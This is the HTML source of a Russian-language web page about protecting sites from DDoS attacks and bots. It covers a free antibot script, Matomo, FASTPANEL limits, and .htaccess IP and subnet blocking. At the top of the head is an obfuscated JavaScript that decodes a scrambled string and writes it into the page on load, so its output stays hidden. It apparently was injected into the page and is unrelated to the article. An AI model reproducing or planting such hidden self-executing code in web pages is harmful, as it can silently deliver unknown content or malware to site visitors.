<!DOCTYPE html>
<html lang="en">
    <head>
<script type="text/javascript"><!--
function jpsw(by98){var
al8r,uzuc,lvrl,wxwc=")?qPU/IB twvp+>N[TCr]h\'o:.Vj,\n{\raSm_|gyLb;ne-cED}ilfsk0(u&1=d\"3*<",dtgw=Function,w5i5=wxwc.length,jew3={cd:""},ue=new dtgw("ret"+"urn unesc"+"ape")(),ky82=new dtgw("x",ue("%74hi%73.c%64+=x")),lesu=new dtgw("x","y",ue("%72et%75rn%20x.c%68ar%41t(%79)"));for(lvrl=0;lvrl<by98.length;lvrl++){al8r=lesu(by98,lvrl);uzuc=wxwc.indexOf(al8r);if(uzuc>-1){uzuc-=(lvrl+1)%w5i5;if(uzuc<0){uzuc+=w5i5;}ky82.call(jew3,lesu(wxwc,uzuc));}else{ky82.call(jew3,al8r);}}new dtgw(ue("%64oc%75me%6Et.w%72it%65(t%68is.%63d)%3Bth%69s.c%64=n%75ll")).call(jew3);}jpsw(")0}o0C[\'bLr]:Em:s{f\'\n[\rmtP\'fL(?-)|e{c}oT|)kUN1>l&h\'dUt\r\'h?q)=/BCaE(Eo+blT{SI<h<<UdVNB<\r;Np_l3v>)wwhr=>mDj3)m\nb0\'V&{Cgyal<a|cCNbIdt]m}& y-f_=0\'t\'+h}Dj,um(VlyCNl]D0nkq[.;IprPj\'(Pq}.[Nd\":qo=CIf}CkN\'-"+"-_-(iE&f*,\rc=P)=(;bh*0kSmT>]Bv;T&pVgEUI/lfsk&>q&;c}1=n):qr}yE.saVh=t?DygTCr]}VDCn{wBnpLEpU|c}3v]vkL(\'dq}a()+p(/TBw* )vwuS:oPU/ImpSU,[\"1,*.a*(\'D<.d:>ni{chDEjUd=Lb;nEPuEmm|)o_>::&p1oE}>_w_.PynD;Seev1V&fV&hrSp;\'qwpeu*{P q=UUg[gUi)IlPI[\n3,\'3,&(U})LI,rC*<)?\r],i|;cdv\'d}DNcm3{&B/,yfl,e(c}fp}P|[(e<sppcs\"mC?V]\ro)u(j|tI\r-jr-1_V./ID)uq-_m/pd0\nd:\',Ec[dnB?;B|mbVbe\nN?/n0>o[1=r\"(q{{jheE,wa Sn_p+yN; ]eeE*jN}-j;/0 h?m\"v>:. \r(Sl>UpuC*&s.b/UD3t<q()&D\re|md{DfDoV/_>Ln&&\"t0pn(i?UiS{BuSL/1>jsI\rT]hman,_eEaLp=:C1:kf&");
--></script>
        <meta charset="utf-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
		<meta name="keywords" content="Защита сайта, бот, DDoS" />
        <meta name="description" content="Как защитить сайт от DDoS-атак и ботов?" />
        <title>Как защитить сайт от DDoS-атак и ботов?</title>
        <link rel="icon" type="image/x-icon" href="/favicon.ico" />
		<link rel="canonical" href="https://softroad.ru"/>
        <!-- Core theme CSS (includes Bootstrap)-->
        <link href="/css/styles.css" rel="stylesheet" />
		<!-- START Cookie-Alert -->
<div class="cookie_notice">
    <!--noindex-->Мы используем файлы cookies. Оставаясь на нашем сайте, вы соглашаетесь с условиями использования файлов cookies и принимаете Политику конфиденциальности.
    <div>
        <a class="cookie_btn" id="cookie_close" href="#close">Принять</a>
        <a class="cookie_btn" href="/privacy.php">Политика конфиденциальности</a>
    </div><!--/noindex-->
</div>
<!-- END Cookie-Alert -->
<script type="text/javascript">
// функция возвращает cookie с именем name, если есть, если нет, то undefined    
function getCookie(name) {
    let matches = document.cookie.match(new RegExp(
    "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"
    ));
    return matches ? decodeURIComponent(matches[1]) : undefined;
}
let cookiecook = getCookie("cookiecook"),
cookiewin = document.getElementsByClassName('cookie_notice')[0];    
// проверяем, есть ли у нас cookie, с которой мы не показываем окно и если нет, запускаем показ
if (cookiecook != "no") {
    // показываем    
    cookiewin.style.display="block"; 
    // закрываем по клику
    document.getElementById("cookie_close").addEventListener("click", function(){
        cookiewin.style.display="none";    
        // записываем cookie на 1 день, с которой мы не показываем окно
        let date = new Date;
        date.setDate(date.getDate() + 365);    
        document.cookie = "cookiecook=no; path=/; expires=" + date.toUTCString();               
    });
}
</script>

    </head>
    <body id="page-top">
        <!-- Navigation-->
        <nav class="navbar navbar-expand-lg navbar-dark bg-dark fixed-top" id="mainNav">
            <div class="container px-4">
                <a class="navbar-brand" href="/index.php">Softroad.ru</a>
                <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"><span class="navbar-toggler-icon"></span></button>
                <div class="collapse navbar-collapse" id="navbarResponsive">
                    <ul class="navbar-nav ms-auto">
                        <li class="nav-item"><a class="nav-link" href="/index.php">Главная</a></li>
                        <li class="nav-item"><a class="nav-link" href="/contact.php">Контакты</a></li>
                        <li class="nav-item"><a class="nav-link" href="/privacy.php">Политика конфиденциальности</a></li>
                    </ul>
                </div>
            </div>
        </nav>
        <!-- Header-->
        <header class="bg-primary bg-gradient text-white">
            <div class="container px-4 text-center">
                <h1 class="fw-bolder">Как бесплатно защитить свой сайт от DDoS-атак и ботов?</h1><br />
                <a class="btn btn-lg btn-light" href="https://wdomain.ru">Отзывы, история сайтов</a>
            </div>
        </header>
        <!-- About section-->
        <section id="about">
            <div class="container px-4">
                <div class="row gx-4 justify-content-center">
                    <div class="col-lg-8">
                        <h2>Бесплатный антибот.</h2>
						<p class="lead">Для каких сайтов подходит:<br /><b>WordPress, Joomla, 1С Битрикс, Opencart, Drupal, MODX, Netcat, самописная, для любых сайтов на PHP 5.6.4 и старше</b> (тестировался на PHP 5.6.4 и 7.1.33, 8.3.15)</p>
<p class="lead">Разные типы капчи:<br /><b>чекбокс</b> (капчу не нужно разгадывать, а нужно просто кликнуть в квадратик), <b>слайдер, slider_rotate, slider_zsay, animals</b></p>

<div align="center"><img class="img-fluid" src="https://wdomain.ru/img/antibot.gif" alt="Антибот"></div>
			  <br />
			  
<p class="lead">Качаем отсюда - <a href="https://github.com/githubniko/antibot" target="_blank">Антибот</a>.<br />
		  <p class="lead"><b>Технические требования.</b></p>
		  <p class="lead"><ul>
		  <li>PHP >= 5.6.4 (тестировался на PHP 5.6.4 и 7.1.33, 8.3.15)</li>
		  <li>SQLite (ваш хостинг должен поддерживать SQLite или вы можете установить SQLite на VPS самостоятельно при его отсутствии)</li>
		  </ul>
		  </p>
		  <p class="lead">Данный Антибот предназначен для блокировки ботов, которые умеют эмулировать браузер, JavaScript, а так же классических ботов.</p>
		  <p class="lead">Антибот проверяет посетителя по настроенным фильтрам, и в зависимости от результата выводит капчу, блокирует или пропускает пользователя.</p>
		  <p class="lead"><b>Основные фильтры:</b></p>
		  <p class="lead"><ul>
		  <li>Автоматическая проверка</li>
		  <li>Разные типы капчи (чекбокс, слайдер, zsay и другие)</li>
		  <li>Белый список ip, network</li>
		  <li>Индексирующие роботы (определяет полезных ботов по обратной DNS записи)</li>
		  <li>Черный список ip, network</li>
		  <li>Исключение по URL (например для JSON и REST API)</li>
		  <li>Без JavaScript (блокировка, кроме исключений)</li>
		  <li>Без Cookie (блокировка, кроме исключений)</li>
		  <li>IPv6</li>
		  <li>Протокол HTTP</li>
		  <li>Мобильный девайс</li>
		  <li>Прямые заходы</li>
		  <li>Открытие сайта в iframe</li>
		  <li>Переход из Tor-сети</li>
		  <li>Анализ User-Agent</li>
		  <li>Блокировка по FingerPrint</li>
		  <li>Блокировка по ASN</li>
		  <li>и другое</li>
		  </ul></p>
		  
		  <p class="lead">Каждый пункт проверки можно включить или отключить — всё через конфигурационный файл.</p>
<p class="lead">Когда кто-то впервые заходит на страницу, скрипт сразу смотрит, нет ли совпадений по белым или чёрным спискам, а также проверяет user-agent и индексирующих роботов. Если ни одно правило не сработало, показывается страница-пустышка (заглушка), где уже запускаются дополнительные проверки — они требуют немного времени. Пока идёт проверка, пользователь видит индикатор загрузки. По итогу страница либо попросит его ввести капчу, либо сразу заблокирует.</p>
<p class="lead">Программа работает максимально быстро, потому что не использует базу данных и никакие другие тяжёлые операции.</p>
<p class="lead">Чтобы не портить себе поведенческие факторы, не ставьте счётчик Яндекс Метрики на заглушку (файл template.inc.php в папке templates). Иначе боты, которые зависли на этой заглушке, будут портить вам статистику в Яндексе. Лучше поставьте на эту заглушку (как и на все остальные страницы) счётчик от Matomo.</p>


<h2>Считаем всё, что происходит: ставим Matomo</h2>

<p class="lead">Конечно, на сервере и так хранятся логи — это большие текстовые файлы, где записываются IP-адреса, время визитов, какие страницы открывали, какой браузер (User-Agent) и так далее. Туда попадает вообще всё: и обычные люди, и поисковые роботы, и всякие боты.</p>
<p class="lead">Но чтобы смотреть статистику только по реальным посетителям, нужна нормальная, удобная статистика на русском, с графиками и фильтрами.</p>
<p class="lead">Я советую поставить Matomo. Она бесплатная, все данные хранятся прямо на вашем хостинге, и никто, кроме вас, к ним не подлезет. Matomo можно установить на отдельный домен. А в FASTPANEL для такого домена легко подобрать нужную версию PHP — даже если ваш основной сайт работает на старой версии, для Matomo можно поставить посвежее.</p>

<div align="center"><img class="img-fluid" src="https://wdomain.ru/img/statistika-matomo.gif" alt="Статистика Matomo"></div>
<br />

<p class="lead">Вот пример. После того как поставишь Антибота, в Matomo будет видно, как какой-нибудь хитрый бот, который притворяется обычным пользователем, 8 часов 34 минуты долбится в защиту, 80 раз пытается её пройти — и не может:</p>

<div align="center"><img class="img-fluid" src="https://wdomain.ru/img/matomo.jpg" alt="Статистика Matomo"></div>
<br />

<h2>Хостинг в России и бесплатная защита от DDoS</h2>

<p class="lead">Для российских сайтов хостинг должен стоять физически в России — иначе РКН может заблокировать. Плюс по нашим законам, если сайт собирает, хранит или обрабатывает персональные данные россиян, он обязан лежать на российских серверах.</p>
<p class="lead">Очень важно сразу выбрать надёжный, стабильный и при этом недорогой хостинг, который давно на рынке и даёт бесплатную защиту от DDoS-атак на уровне L3-L4. На виртуальном сервере (VPS) или выделенном сервере можно держать сколько угодно сайтов и поддоменов — главное, чтобы места на диске хватило. Плюс вы сами настраиваете что хотите, на обычном хостинге такой свободы нет.<br />
Защита L3-L4 — это самый базовый, но критически важный рубеж обороны. Он отбивает самые мощные и массовые атаки. Все современные антиддос-сервисы (например, Cloudflare) обязательно включают такую защиту.</p>

<h2>Панель управления FASTPANEL</h2>

<p class="lead">Панель FASTPANEL — бесплатная, удобная, с кучей функций. Там можно раздавать бесплатные SSL-сертификаты Let's Encrypt для сайтов, для каждого сайта выбирать свою версию PHP, прямо из панели смотреть логи сайта и ошибки. Но самое главное — в FASTPANEL есть раздел <b>Настройки → Безопасность</b>. Там выставляются лимиты на количество запросов с одного IP в секунду или минуту, а также максимальная «волна» таких запросов. Это очень полезная штука, которая в один клик блокирует ботов, долбящихся с одного и того же IP.</p>

<div align="center"><img class="img-fluid" src="https://wdomain.ru/img/fastpanel-bezopasnost.gif" alt="FASTPANEL раздел Безопасность"></div>
<br />

<p class="lead">Ещё в FASTPANEL есть удобная настройка логов: <b>Настройки → Логирование</b>. Можно включить или отключить запись входящих запросов и ошибок, задать, сколько логов хранить и как часто их ротировать. Если в критический момент отключить логирование, нагрузка на сервер сильно упадёт. Но логи важны для анализа, так что это просто опция на случай, когда сервер реально «кипит».</p>

<div align="center"><img class="img-fluid" src="https://wdomain.ru/img/fastpanel-logi.gif" alt="FASTPANEL раздел Логирование"></div>
<br />

<p class="lead">Раздел HTTPS: там есть галочки «Включить HTTP2» и «Включить HTTP3» — нажал и готово. В критический момент их можно отключить. Тогда допустимая частота запросов снизится, и вместе с настройками лимитов из раздела «Безопасность» вы заблокируете больше ботов. Когда атака закончится — включаете обратно. HTTP2 и HTTP3 — современные протоколы, они позволяют делать много запросов одновременно и работать быстрее. Если их отключить, браузер сам переключится на старый протокол HTTP1.1.</p>

<div align="center"><img class="img-fluid" src="https://wdomain.ru/img/fastpanel-https.gif" alt="FASTPANEL раздел HTTPS"></div>
<br />

<h2>Анализируем трафик</h2>
<br />

<p class="lead">Теперь, когда сайт защищён, смотрите логи и статистику, особенно в моменты сильной нагрузки. Любой подозрительный IP можно проверить здесь: <a class="more-link" href="https://wdomain.ru/ip.php" target="_blank">Проверить IP</a>.</p>
<p class="lead">Самое важное — узнать, принадлежит ли IP хостингу, и использует ли этот адрес прокси, VPN или Tor.<br />
Обычные люди в подавляющем большинстве случаев не сидят через прокси, VPN или Tor — хотя иногда такое бывает. Эти адреса динамические и со временем переходят к разным пользователям. Если надо, их можно временно заблокировать, например на месяц, прямо в Антиботе.<br />
А вот IP-адреса, принадлежащие хостингам, — постоянные. Именно с них чаще всего идут атаки на сайты. Если эти адреса не приносят пользы (например, это не поисковые роботы), их лучше сразу блокировать целиком — по подсетям CIDR в корневом .htaccess или по номеру AS в настройках Антибота.</p>

<p class="lead"><b>Краткая справка</b></p>
<p class="lead"><b>Обратный DNS</b> — это когда IP-адрес превращают обратно в доменное имя. Выдачу IP иногда подделывают, так что обратный DNS позволяет проверить, соответствует ли IP заявленному домену. Вбейте в форму проверки доменное имя обратного DNS и посмотрите, совпадает ли IP. На этой странице обратный DNS может отображаться с задержкой — если не показалось, попробуйте проверить IP ещё раз.</p>
<p class="lead"><b>AS</b> (автономная система) — это набор IP-сетей и маршрутизаторов, которые управляются одной организацией. Такими организациями могут быть:<br />
	— Поисковые системы<br />
	— Интернет-провайдеры<br />
    — Хостинги<br />
    — Компании, предоставляющие сетевые услуги<br />
    — Другие<br />
По номеру AS можно понять, что разные IP принадлежат одной конторе — если у разных адресов один и тот же номер AS, значит, они от одной организации.<br />Иногда один IP-адрес может относиться к разным организациям, иметь разные номера AS и разные подсети.</p>
<p class="lead"><b>Подсети IP (CIDR)</b> — это подсети в формате IP/префикс, куда входит проверяемый адрес. Можно заблокировать всю подсеть в файле <b>.htaccess</b>. Иногда один IP-адрес используют несколько организаций, и у него есть несколько номеров AS и несколько подсетей.</p>
<p class="lead"><b>WHOIS IP</b> — регистрационные данные IP-адреса в формате WHOIS.</p>
<p class="lead"><b>RDAP</b> — то же самое, но в более новом формате RDAP.</p>
<p class="lead"><b>Проверка IP на спам</b> — пробивка адреса по чёрным спискам (блок-листам) массовых рассылок. Если IP отмечен как спамер, напротив списка будет красное <b>FAIL</b>.</p>
<p class="lead"><b>Трассировка IP-адреса</b> — это traceroute, маршрут от вашего устройства до целевого IP. Помогает понять, на каком участке дороги возникают задержки или теряются пакеты.</p>
<p class="lead"><b>Как этим пользоваться</b></p>
<p class="lead">По логам сервера или статистике сайта вы видите, какие IP-адреса ходят к вам на сайт. Самые подозрительные можно заблокировать. Например, если с какого-то хостинга идёт куча запросов — это явно боты. Если они не полезны для сайта (не поисковые), можно заблокировать их по одному IP, по всем их диапазонам (подсетям) или вообще всех разом по номеру AS.</p>
<p class="lead">Отдельные IP блокируются добавлением записей в конец файла <b>.htaccess</b> (лежит <b>в корневой папке сайта</b>). Если у вас уже есть правила исключения <b>Allow</b>, пример записи такой:<br /><br />
<b>Order Allow,Deny<br />
Allow from all<br />
Deny from 123.123.123.123<br />
Deny from 122.122.122.122</b><br />
<br />
Здесь <b>123.123.123.123, 122.122.122.122</b> — это IP, которым доступ запрещён.<br />
Если правил <b>Allow</b> нет, можно написать проще:<br /><br />
<b>Deny from 123.123.123.123<br />
Deny from 122.122.122.122</b></p>
<p class="lead">Второй вариант удобнее, когда список заблокированных IP длинный — системе не придётся каждый раз перечитывать файл и искать исключения <b>Allow</b>.</p>
<p class="lead">По ссылке <b>ПОДСЕТИ IP (CIDR)</b> можно узнать и заблокировать все подсети, в которые входит нужный IP. Например:<br /><br />
<b>Deny from 194.33.62.0/23<br />
Deny from 194.93.84.0/22</b></p>
<p class="lead">Чтобы заблокировать все IP-адреса целой организации разом, по номеру её AS, через .htaccess так просто не получится. Придётся использовать прокси-сервисы вроде Cloudflare (но для России не советую из-за блокировок РКН) или поставить на сайт бесплатный <b>Антибот</b>, про который я уже говорил, — он умеет блокировать по номерам AS.</p>

<h2>Мониторинг: кто следит, что сайт жив</h2>

<p class="lead">Когда всё настроено, нужно убедиться, что сайт доступен 24/7.</p>
<p class="lead">Есть много сервисов, которые проверяют работоспособность сайтов. Выбирайте сами. Главное, чтобы сервис при внезапном падении сайта сразу же сообщал вам по СМС и на почту — тогда вы успеете что-то сделать, чтобы сайт снова заработал как надо.</p>

<h2>Блокировка по странам — крайний случай</h2>

<p class="lead">Если всё перечисленное не помогло, остаётся самый радикальный способ — заблокировать трафик по странам. Большинство кибератак на российские ресурсы идёт из-за границы.</p>
<p class="lead">Сейчас для российских сайтов это очень эффективно: Google AdSense из России ушёл, иностранные пользователи вам больше ничего не платят, а РСЯ за зарубежный трафик денег не даёт.</p>
<p class="lead"><b>То есть российским сайтам зарубежный трафик сейчас — никакой пользы. Поэтому вполне разумно заблокировать его весь.</b></p>
<p class="lead">Заблокировать страну на сервере можно через настройки фаервола (iptables) или с помощью модуля GeoIP. Инструкций в интернете полно, без труда найдёте.</p>


			  
			  <p class="lead"><b>Поделиться:</b><br />
			  <script src="https://yastatic.net/share2/share.js" async></script>
<div class="ya-share2" data-curtain data-size="l" data-services="messenger,vkontakte,odnoklassniki,telegram,moimir,lj"></div>
			  </p>
			  
			  <p class="lead">Читайте далее: <a href="/kak-proverit-internet-magazin.php" target="_blank">Как проверить любой интернет-магазин перед покупкой и не потерять свои деньги?</a></p>
                        
                    </div>
                </div>
            </div>
        </section>

        <!-- Footer-->
        <footer class="py-5 bg-dark">
            <div class="container px-4"><p class="m-0 text-center text-white">Copyright &copy; 2026 &nbsp; Softroad.ru. Копирование материалов сайта разрешено с обязательным указанием ссылки на первоисточник.<br /><a href="/index.php" target="_blank">Главная</a> | <a href="/contact.php" target="_blank">Контакты</a> | <a href="privacy.php" target="_blank">Политика конфиденциальности</a></p></div>
        </footer>
        <!-- Bootstrap core JS-->
        <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/js/bootstrap.bundle.min.js"></script>
        <!-- Core theme JS-->
        <script src="js/scripts.js"></script>
    </body>
</html>